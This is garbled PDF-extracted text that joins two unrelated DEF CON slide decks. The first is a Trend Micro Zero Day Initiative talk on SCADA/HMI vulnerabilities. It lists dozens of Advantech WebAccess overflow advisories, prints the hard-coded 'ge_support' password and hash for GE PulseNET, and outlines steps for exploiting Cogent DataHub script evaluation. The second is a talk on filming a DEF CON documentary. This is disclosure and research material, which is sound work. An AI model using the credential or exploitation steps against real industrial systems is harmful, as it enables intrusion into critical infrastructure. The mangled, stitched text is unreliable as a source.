Copyright,2016,Trend,Micro,Inc., 21, Prototype,of,RPC,func:on, Copyright,2016,Trend,Micro,Inc., 22, IOCTL,0x0001388B, •  Inside,BwOpcSvc.dll,(which,is,loaded,into,webvrpc.exe),, rou:ne,with,an,exported,entry,name,of,BwSvcFunc:on, which,processes,a,number,of,entry,points,,using,a,jump, table., •  Flaw,exists,within,the,implementa:on,of,IOCTL,0x0001388B,, •  Stack'based,buffer,overflow,exists,in,a,call,to,sprinq,using, WindowsName,parameter, Copyright,2016,Trend,Micro,Inc., 23, Vulnerable,Code, Copyright,2016,Trend,Micro,Inc., 24, Stack,Layout, Copyright,2016,Trend,Micro,Inc., 25, Applica:on,Crash, Copyright,2016,Trend,Micro,Inc., 26, Exploita:on,Demo, Copyright,2016,Trend,Micro,Inc., 27, Patch,Analysis, •  _sprinq,is,in,the,list,of,MicrosoT,banned,APIs,list, –  First,published,in,2007, –  hhps://msdn.microsoT.com/en'us/library/bb288454.aspx,,,, •  Advantech,should,implement,MicrosoT,banned,APIs,and, remove,all,of,them,from,shipping,code, •  What,did,they,do…, Copyright,2016,Trend,Micro,Inc., 28, Patch,Analysis, •  WindowName,field,in,the,stack,buffer,is,0x80,bytes, •  _snprinq,Length,parameter,is,0x7f,bytes, Copyright,2016,Trend,Micro,Inc., 29, Variant,Analysis, 1.  ZDI'16'049,',Advantech,WebAccess,webvrpcs,Service,BwOpcSvc.dll,WindowName,sprinq,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 2.  ZDI'16'050,',Advantech,WebAccess,webvrpcs,Service,BwOpcSvc.dll,WindowName,sprinq,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 3.  ZDI'16'051,',Advantech,WebAccess,webvrpcs,Service,BwOpcSvc.dll,WindowName,sprinq,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 4.  ZDI'16'052,',Advantech,WebAccess,webvrpcs,Service,BwOpcSvc.dll,sprinq,Uncontrolled,Format,String,Remote,Code,Execu:on,Vulnerability, 5.  ZDI'16'053,',Advantech,WebAccess,webvrpcs,Service,BwBASScdDl.dll,TargetHost,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 6.  ZDI'16'054,',Advantech,WebAccess,webvrpcs,Service,WaDBS.dll,TagName,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 7.  ZDI'16'055,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,sprinq,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 8.  ZDI'16'056,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,sprinq,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 9.  ZDI'16'057,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,ProjectName,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 10.  ZDI'16'058,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,ProjectName,strcpy,Globals,Overflow,Remote,Code,Execu:on,Vulnerability, 11.  ZDI'16'059,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,ProjectName,strcat,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 12.  ZDI'16'060,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,HostName/ProjectName/NodeName,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 13.  ZDI'16'061,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,sprinq,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 14.  ZDI'16'062,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,ProjectName/NodeName,sprinq,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 15.  ZDI'16'063,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 16.  ZDI'16'064,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,strcpy,Heap'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 17.  ZDI'16'065,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,strcpy,Heap'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 18.  ZDI'16'066,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,strcpy,Heap'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 19.  ZDI'16'067,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,Backup,RPC,Hostname,strcpy,Heap'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 20.  ZDI'16'068,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,strcpy,Heap'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 21.  ZDI'16'069,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,NewPointValue,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 22.  ZDI'16'070,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,Primary,RPC,Hostname,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 23.  ZDI'16'071,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 24.  ZDI'16'072,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,Backup,RPC,Hostname,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, Copyright,2016,Trend,Micro,Inc., 30, Variant,Analysis, 25.  ZDI'16'073,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,memcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 26.  ZDI'16'074,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,memcpy,Globals,Overflow,Remote,Code,Execu:on,Vulnerability, 27.  ZDI'16'075,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,memcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 28.  ZDI'16'076,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 29.  ZDI'16'077,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 30.  ZDI'16'078,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 31.  ZDI'16'079,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 32.  ZDI'16'080,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,TagName,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 33.  ZDI'16'081,',Advantech,WebAccess,webvrpcs,Service,BwKrlApi.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 34.  ZDI'16'082,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,Path,BwBuildPath,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 35.  ZDI'16'083,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,Path,BwBuildPath,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 36.  ZDI'16'084,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,Path,BwBuildPath,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 37.  ZDI'16'085,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,Path,BwBuildPath,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 38.  ZDI'16'086,',Advantech,WebAccess,webvrpcs,Service,BwKrlApi.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 39.  ZDI'16'087,',Advantech,WebAccess,webvrpcs,Service,BwKrlApi.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 40.  ZDI'16'088,',Advantech,WebAccess,webvrpcs,Service,BwKrlApi.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 41.  ZDI'16'089,',Advantech,WebAccess,webvrpcs,Service,BwKrlApi.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 42.  ZDI'16'090,',Advantech,WebAccess,webvrpcs,Service,BwKrlApi.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 43.  ZDI'16'091,',Advantech,WebAccess,webvrpcs,Service,BwKrlApi.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 44.  ZDI'16'092,',Advantech,WebAccess,webvrpcs,Service,BwKrlApi.dll,Path,BwBuildPath,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 45.  ZDI'16'093,',Advantech,WebAccess,webvrpcs,Service,DrawSrv.dll,Path,BwBuildPath,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 46.  ZDI'16'094,',Advantech,WebAccess,webvrpcs,Service,DrawSrv.dll,Path,BwBuildPath,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 47.  ZDI'16'095,',Advantech,WebAccess,webvrpcs,Service,DrawSrv.dll,TagGroup,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 48.  ZDI'16'096,',Advantech,WebAccess,webvrpcs,Service,ViewDll.dll,TagGroup,strcat,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, Copyright,2016,Trend,Micro,Inc., 31, Variant,Analysis, 49.  ZDI'16'097,',Advantech,WebAccess,webvrpcs,Service,ViewDll.dll,TagGroup,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 50.  ZDI'16'099,',Advantech,WebAccess,webvrpcs,Service,DrawSrv.dll,TagGroup,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 51.  ZDI'16'100,',Advantech,WebAccess,webvrpcs,Service,DrawSrv.dll,TagGroup,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 52.  ZDI'16'101,',Advantech,WebAccess,datacore,Service,datacore.exe,Path,strcat,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 53.  ZDI'16'102,',Advantech,WebAccess,datacore,Service,datacore.exe,Path,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 54.  ZDI'16'103,',Advantech,WebAccess,datacore,Service,datacore.exe,Path,strcat,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 55.  ZDI'16'104,',Advantech,WebAccess,datacore,Service,datacore.exe,ExtDataSize,Integer,Overflow,Remote,Code,Execu:on,Vulnerability, 56.  ZDI'16'105,',Advantech,WebAccess,datacore,Service,datacore.exe,strcpy,Shared,Virtual,Memory,Overflow,Remote,Code,Execu:on,Vulnerability, 57.  ZDI'16'106,',Advantech,WebAccess,datacore,Service,datacore.exe,sprinq,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 58.  ZDI'16'107,',Advantech,WebAccess,datacore,Service,datacore.exe,strcpy,Heap'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 59.  ZDI'16'108,',Advantech,WebAccess,datacore,Service,datacore.exe,Username,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 60.  ZDI'16'109,',Advantech,WebAccess,datacore,Service,datacore.exe,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 61.  ZDI'16'110,',Advantech,WebAccess,datacore,Service,datacore.exe,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 62.  ZDI'16'111,',Advantech,WebAccess,datacore,Service,datacore.exe,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 63.  ZDI'16'112,',Advantech,WebAccess,datacore,Service,datacore.exe,Username,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 64.  ZDI'16'113,',Advantech,WebAccess,datacore,Service,datacore.exe,Username,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 65.  ZDI'16'114,',Advantech,WebAccess,datacore,Service,datacore.exe,Username,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 66.  ZDI'16'115,',Advantech,WebAccess,datacore,Service,datacore.exe,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 67.  ZDI'16'116,',Advantech,WebAccess,datacore,Service,datacore.exe,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 68.  ZDI'16'117,',Advantech,WebAccess,datacore,Service,datacore.exe,Username,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 69.  ZDI'16'118,',Advantech,WebAccess,datacore,Service,datacore.exe,strncpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 70.  ZDI'16'119,',Advantech,WebAccess,datacore,Service,datacore.exe,AlarmMessage,strcpy,Heap'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 71.  ZDI'16'120,',Advantech,WebAccess,datacore,Service,datacore.exe,AlarmMessage,sprinq,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, 72.  ZDI'16'121,',Advantech,WebAccess,datacore,Service,datacore.exe,AlarmMessage,strcpy,Heap'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability, Copyright,2016,Trend,Micro,Inc., 32, Creden:al,Management, •  19%,of,iden:fied,vulnerabili:es, •  Common,vulnerability,types, –  Use,of,Hard'coded,Creden:als, –  Storing,Passwords,in,a,Recoverable, Format, –  Insufficiently,Protected,Creden:als, •  Zero,Day,Ini:a:ve,case,study, –  GE,MDS,PulseNET,Hidden,Support,Account, Remote,Code,Execu:on,Vulnerability, , Copyright,2016,Trend,Micro,Inc., 33, , GE,MDS,PulseNET,Case,Study, •  ICS'CERT,states:, –  “The,affected,products,contain,a,hard'coded,support,account,with, full,privileges.”, •  Iden:fiers, –  CVE'2015'6456, –  ZDI'15'440, –  ICSA'15'258'03, •  CVSS, –  9.0, •  Disclosure,Timeline,, –  2015–05–14,',Reported,to,vendor,, 2015–09–16,–,Coordinated,release, •  Credit, –  Discovered,by:,Andrea,Micalizzi,(rgod), Disclosed,by:,Zero,Day,Ini:a:ve, Copyright,2016,Trend,Micro,Inc., 34, User,Management,Panel, Copyright,2016,Trend,Micro,Inc., 35, Actual,User,Database, Copyright,2016,Trend,Micro,Inc., 36, Undocumented,ge_support,Account, •  Exists,in,the,sec_user,table)by)default) •  Password,for,this,account:, –  <![HDATA[MD5$8af7e0cd2c76d2faa98b71f8ca7923f9, –  “Pu1seNET”, •  Account,offers,full,privileges, Copyright,2016,Trend,Micro,Inc., 37, Insecure,Default, •  12%,of,iden:fied,vulnerabili:es, •  Common,vulnerability,types, –  Cleartext,Transmission,of,Sensi:ve,, Informa:on, –  Missing,Encryp:on,of,Sensi:ve, –  Unsafe,Ac:veX,Control,Marked, Safe,For,Scrip:ng, •  Zero,Day,Ini:a:ve,case,study, –  Seimens,Case,Study, Copyright,2016,Trend,Micro,Inc., 38, 0'day,Vulnerability,Case,Study, •  Vulnerability,details,will,be,disclosed,during,the,talk,at,the, DEF,CON,conference, •  Expected,to,patch,the,week,before,the,conference, •  If,it,is,not,patched,,we,will,release,the,details,publically,in, accordance,with,the,Zero,Day,Ini:a:ve,Vulnerability, Disclosure,Policy, Copyright,2016,Trend,Micro,Inc., 39, Authen:ca:on/Authoriza:on, •  12%,of,iden:fied,vulnerabili:es, •  Common,vulnerability,types, –  Authen:ca:on,Bypass,Issues, –  Improper,Access,Control, –  Improper,Privilege,Management, –  Improper,Authen:ca:on, •  Zero,Day,Ini:a:ve,case,study, –  Advantech,WebAccess,Case,Study, Copyright,2016,Trend,Micro,Inc., 40, 0'day,Vulnerability,Case,Study, •  Vulnerability,details,will,be,disclosed,during,the,talk,at,the, DEF,CON,conference, •  Expected,to,patch,before,the,conference, •  If,it,is,not,patched,,we,will,release,the,details,publically,in, accordance,with,the,Zero,Day,Ini:a:ve,Vulnerability, Disclosure,Policy, Copyright,2016,Trend,Micro,Inc., 41, Injec:ons, •  9%,of,iden:fied,vulnerabili:es, •  Common,vulnerability,types, –  SQL,Injec:on, –  Code,Injec:on,, –  OS,Command,Injec:on, –  Command,Injec:on, •  Zero,Day,Ini:a:ve,case,study, –  Cogent,DataHub,Gamma, Command,Injec:on, Remote,Code,Execu:on,Vulnerability, Copyright,2016,Trend,Micro,Inc., 42, , Cogent,DataHub,Case,Study, •  ICS'CERT,states:, –  “allow,an,ahacker,to,turn,on,an,insecure,processing,mode,in,the, web,server,,which,subsequently,allows,the,ahacker,to,send, arbitrary,script,commands,to,the,server”, •  Iden:fiers, –  CVE'2015'3789, –  ZDI'15'438, –  ICSA–15–246–01, •  CVSS, –  7.5, •  Disclosure,Timeline,, –  2015–06–02,',Reported,to,vendor,, 2015–09–08,–,Coordinated,release, •  Credit, –  Discovered,by:,Anonymous, –  Disclosed,by:,Zero,Day,Ini:a:ve, Copyright,2016,Trend,Micro,Inc., 43, , Cogent,DataHub,Overview, Copyright,2016,Trend,Micro,Inc., 44, Gamma,Script,Overview, •  Gamma,is,DataHub’s,scrip:ng,language, •  Dynamically'typed,interpreted,programming,language, specifically,designed,to,allow,rapid,development,of,control, and,user,interface,applica:ons, •  Gamma,has,a,syntax,similar,to,C,and,C++,,but,has,a,range,of, built'in,features,that,make,it,a,far,beher,language,for, developing,sophis:cated,real':me,systems, Copyright,2016,Trend,Micro,Inc., 45, Ahacker'Supplied,Script,Evalua:on, •  Flaw,exists,within,the,EvalExpresssion,method, –  Allows,for,execu:on,of,ahacker,controlled,code, •  Remotely,accessible,through,the,AJAX,facility, –  Listening,on,TCP,port,80,, •  Supplying,a,specially,formahed,Gamma,script,allows,for,the, execu:on,of,arbitrary,OS,commands, Copyright,2016,Trend,Micro,Inc., 46, Vulnerable,Code, Copyright,2016,Trend,Micro,Inc., 47, Exploita:on,Steps, 1.  Send,a,request,to,any,Gamma,script,to,load,necessary, libraries, 2.  Call,AJAXSupport.AllowExpressions,and,set, allow_any_expression,to,True,, 3.  Call,AJAXSupport.EvalExpression,method,and,pass,in,the, script,that,you,want,executed, Copyright,2016,Trend,Micro,Inc., 48, Exploita:on,Demo, Copyright,2016,Trend,Micro,Inc., 49, Patch,Analysis, Copyright,2016,Trend,Micro,Inc., 50, Researcher,Guidance,, Copyright,2016,Trend,Micro,Inc., 51, Basic,Fuzzing, •  Simple,bit'flipping,fuzzing,is,highly,effec:ve,against,HMI, –  Look,for,new,file,associa:ons,during,installa:ons, •  Don’t,forget,to,enable,page,heap,to,find,heap,corrup:on, –  gflags.exe,/i,hmi.exe,+hpa,+ust, •  Leverage,exis:ng,tools,and,frameworks, –  radamsa, –  sqlmap, Copyright,2016,Trend,Micro,Inc., 52, MicrosoT’s,Ahack,Surface,Analyzer, •  Released,in,2012, •  Creates,snapshots,before,and,aTer,installa:on, •  Highlights,security,misconfigura:ons, –  Registry,sejngs,and,file,permissions, •  Provides,a,list,of,auditable,system,modifica:ons, –  COM,objects, –  Ac:veX,controls, –  File,associa:ons, –  RPC,endpoints, Copyright,2016,Trend,Micro,Inc., 53, Ahack,Surface,Analyzer,Report, Copyright,2016,Trend,Micro,Inc., 54, Ahack,Surface,Analyzer,Report, Copyright,2016,Trend,Micro,Inc., 55, Audit,for,Banned,APIs, •  C,run:me,has,many,APIs,with,serious,security,programs, •  MicrosoT,banned,use,of,problema:c,C,library,func:ons, –  “The,Security,Development,Lifecycle”,(MicrosoT,,2006), –  Security,Development,Lifecycle,Banned,Func:on,Calls,, hhps://msdn.microsoT.com/en'us/library/bb288454.aspx, •  Depressingly,common,in,HMI,code,,with,predictable, nega:ve,impacts, •  IDA,is,extremely,valuable,tool,for,audi:ng,for,inappropriate, uses,, Copyright,2016,Trend,Micro,Inc., 56, Disclosure,Sta:s:cs, Copyright,2016,Trend,Micro,Inc., 57, Vulnerability,Exposure,Windows, 0, 20, 40, 60, 80, 100, 120, 140, 160, 180, 2013, 2014, 2015, 2016, Copyright,2016,Trend,Micro,Inc., 58, Vendor,Response,Times, 0, 50, 100, 150, 200, 250, ABB, Advantech, Codesys, Cogent, Real'Time, Systems, Ecava, GE, Honeywell, IndusoT, MICROSYS, PTC, Rockwell, Automa:on, Schneider, Electric, Tibbo, Trihedral, Engineering, Ltd, Unitronics, WellinTech, Copyright,2016,Trend,Micro,Inc., 59, Industry,by,Industry,Comparison, 0, 20, 40, 60, 80, 100, 120, 140, 160, 180, 200, Business, Highly'Deployed, SCADA, Security, Copyright,2016,Trend,Micro,Inc., 60, Conclusions, Copyright,2016,Trend,Micro,Inc., 61, Go,find,bugs!, •  ICS'focused,malware,ac:vely,exploi:ng,HMI,vulnerabili:es, •  HMI,codebases,plagued,with,cri:cal,vulnerabili:es, •  Simple,techniques,can,be,used,to,find,vulnerabili:es, •  Exposure,windows,is,~150,days,leaving,cri:cal, infrastructure,vulnerable, Copyright,2016,Trend,Micro,Inc., 62, Ques:ons?, , , , , , www.zerodayini:a:ve.com, @thezdi,
pdf
>> 0 >> 1 >> 2 >> 3 >> 4 >> Making of The DEFCON Documentary Jason Scott & Rachel Lovinger DEF CON 21, August 2, 2013 >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h I. HOW IT BEGAN >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h I agreed to do it, but some questions remained... >> 0 >> 1 >> 2 >> 3 >> 4 >> How do you film hundreds of activities, happening simultaneously over 4 days? >> 0 >> 1 >> 2 >> 3 >> 4 >> How do you film people who have traditionally rejected media attention? >> 0 >> 1 >> 2 >> 3 >> 4 >> How do you capture the spirit of DEFCON – past and present? >> 0 >> 1 >> 2 >> 3 >> 4 >> How do you put it all together in 6 months? >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h II. PLANNING >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> DEFCON 18 DEFCON 16 DEFCON 19 >> 0 >> 1 >> 2 >> 3 >> 4 >> Jason’s High School Yearbook Photo [Photo taken by Rachel!] >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h How do you film hundreds of activities, happening simultaneously over 4 days? >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h How do you film people who have traditionally rejected media attention? >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h III. PRE-PRODUCTION >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h Meet the crew >> 0 >> 1 >> 2 >> 3 >> 4 >> Alex Drew Eddie Kyle Rick Steve Jason Rachel >> 0 >> 1 >> 2 >> 3 >> 4 >> Prepping them for DEFCON • Start walking a little every day • Watch “Comic-Con Episode IV: A Fan's Hope” • Bring comfortable clothes and shoes • Look over the schedule from last year • Respect security and privacy concerns • Stay fueled and hydrated >> 0 >> 1 >> 2 >> 3 >> 4 >> Eddie Codel >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h Meet the equipment >> 0 >> 1 >> 2 >> 3 >> 4 >> The Gear • 3x Canon Vixia HFG10 • 2x Canon 5D • 1x Canon 7D • 11x Kodak Playsports • 4x H4N Zoom recorders • 5x monopods • 3x tripods • 2x dual battery chargers • Power strip • USB chargers • Card readers • Hard drives • Segway >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h Social Media >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h IV. PRODUCTION >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h How do you capture the spirit of DEFCON – past and present? >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h The crew assembles at DEFCON >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> “Film School” bootcamp • Cameras DOWN near the casino • Expect the unexpected • Defer to the Goons in all things • Mid-day check-ins to recharge batteries & copy footage & audio files • Stay hydrated • Communications: TBD • Give me your receipts >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h Then we started filming… >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h “We can’t have you shoot from that angle. This machine violates the patriot act.” >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h Frequently Asked Questions >> 0 >> 1 >> 2 >> 3 >> 4 >> FAQs: Pretty straight forward • Who are you working for? • When is this documentary coming out? • How will it be made available? • Will there be a feelie/challenge coin? • What if I don't want to be in it? • How much have you guys shot? • Are you guys getting any sleep? • What kind of equipment are you using? >> 0 >> 1 >> 2 >> 3 >> 4 >> FAQs: Let’s talk about these • If I agree to be in it, will I be embarrassed? • What kind of badge is that? Can I scan your badge? • I need help. • Who do I have to roofie to get one of those vests? • Do you want a drink? • You guys should do this every year. >> 0 >> 1 >> 2 >> 3 >> 4 >> If I agree to be in it, will I be embarrassed? >> 0 >> 1 >> 2 >> 3 >> 4 >> If I agree to be in it, will I be embarrassed? >> 0 >> 1 >> 2 >> 3 >> 4 >> What kind of badge is that? Can I scan your badge? >> 0 >> 1 >> 2 >> 3 >> 4 >> I need help. >> 0 >> 1 >> 2 >> 3 >> 4 >> Who do I have to roofie to get one of those vests? >> 0 >> 1 >> 2 >> 3 >> 4 >> Do you want a drink? >> 0 >> 1 >> 2 >> 3 >> 4 >> You guys should do this every year. >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h No breakage, no lost equipment, no lost footage. >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h V. EDITING & FINALIZING >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h How do you put it all together in 6 months? You don’t. >> 0 >> 1 >> 2 >> 3 >> 4 >> Download at https://www.defcon.org/html/links/dc-torrent.html >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h VI. CONCLUSIONS >> 0 >> 1 >> 2 >> 3 >> 4 >> Documentary making is hard, DEFCON Documentary making is doubly hard >> 0 >> 1 >> 2 >> 3 >> 4 >> If all else fails, include a Segway >> 0 >> 1 >> 2 >> 3 >> 4 >> Alex will always get in a shot >> 0 >> 1 >> 2 >> 3 >> 4 >> Alex will always get in a shot >> 0 >> 1 >> 2 >> 3 >> 4 >> Aim high with the goals, especially when nobody has tried something like this before >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h Ok, now who want to see some bonus footage? >> 0 >> 1 >> 2 >> 3 >> 4 >> Thanks • Contact us: documentary@textfiles.com • Twitter: @defcondoc • Most images shown were shot by our crew • Additional photos from amishrabbit (Dateline reporter fleeing), vissago 